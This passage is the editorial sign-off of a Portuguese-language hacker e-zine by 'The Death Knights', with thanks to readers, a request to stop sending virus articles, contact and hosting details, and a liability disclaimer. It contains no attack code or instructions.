Como podemos ver, nossos leitores estao world wide ( ;P ), o que nunca
imaginei quando comecei com essa historia de zine. Nosso site e' bem visitado
por varias partes do mundo(visto por logs), mas nao pensei que lessem o zine,
e agora tenho certeza de que leem. Muito obrigado a todos que tem nos dado
apoio.

Tambem agradeco a todos que mandam materias, mas, nao da pra colocar todas,
nao e'? E pessoal, por favor, nao mandem mais materias de virus em PASCAL,
ASM ou MACRO. Viros de macro ja falamos, os outros NAO vamos falar. Se sua
materia for interessante, ela sera publicada aqui, como ja acontece a alguns
numeros.

E' so isso mesmo... valeu pela paciencia.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`


-=[  13  ]=-
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| FEW WORDS  \_______________________________________________________________
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                                 by Cacaio


        Quer saber quem sao os nossos membros? De uma olhada em nossa page!
                                               http://www.DeathKnights.com

        Se voce quiser se tornar um membro, esqueca, ja temos muitos
        membros.

        Se voce quiser mandar um e-mail dizendo o que achou do zine, dar su-
        gestoes, reclamar, elogiar, meter o pau, colocar alguma materia, este-
        ja a vontade.

        Se voce tem um zine BOM *OU* um programa e queira disponibiliza-lo
        para os outros, mande-nos um e-mail. Voce podera' hospeda-lo em
        http://www.deathknights.com/SuaEscolha gratuitamente. Hey, nao vem
        pensando que isso aqui e' GeoCities, Xoom ou Tripod nao, antes iremos
        avaliar seu pedido.

        AVISO NOVAMENTE:

        O grupo The Death Knights nao visa nenhum fim lucrativo. Qualquer uso
        das informacoes contidas aqui nao e de nossa responsabilidade. Se voce
        fizer algo descrito e se der mal, problema seu. Nos ensinamos, mas nao
        pedimos para usarem o conhecimento adquirido com este zine.


        Ate o proximo numero!


 ______________________________Death_Knights_________________________________
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                            Criticas? Sugestoes?


                           death@DeathKnights.com
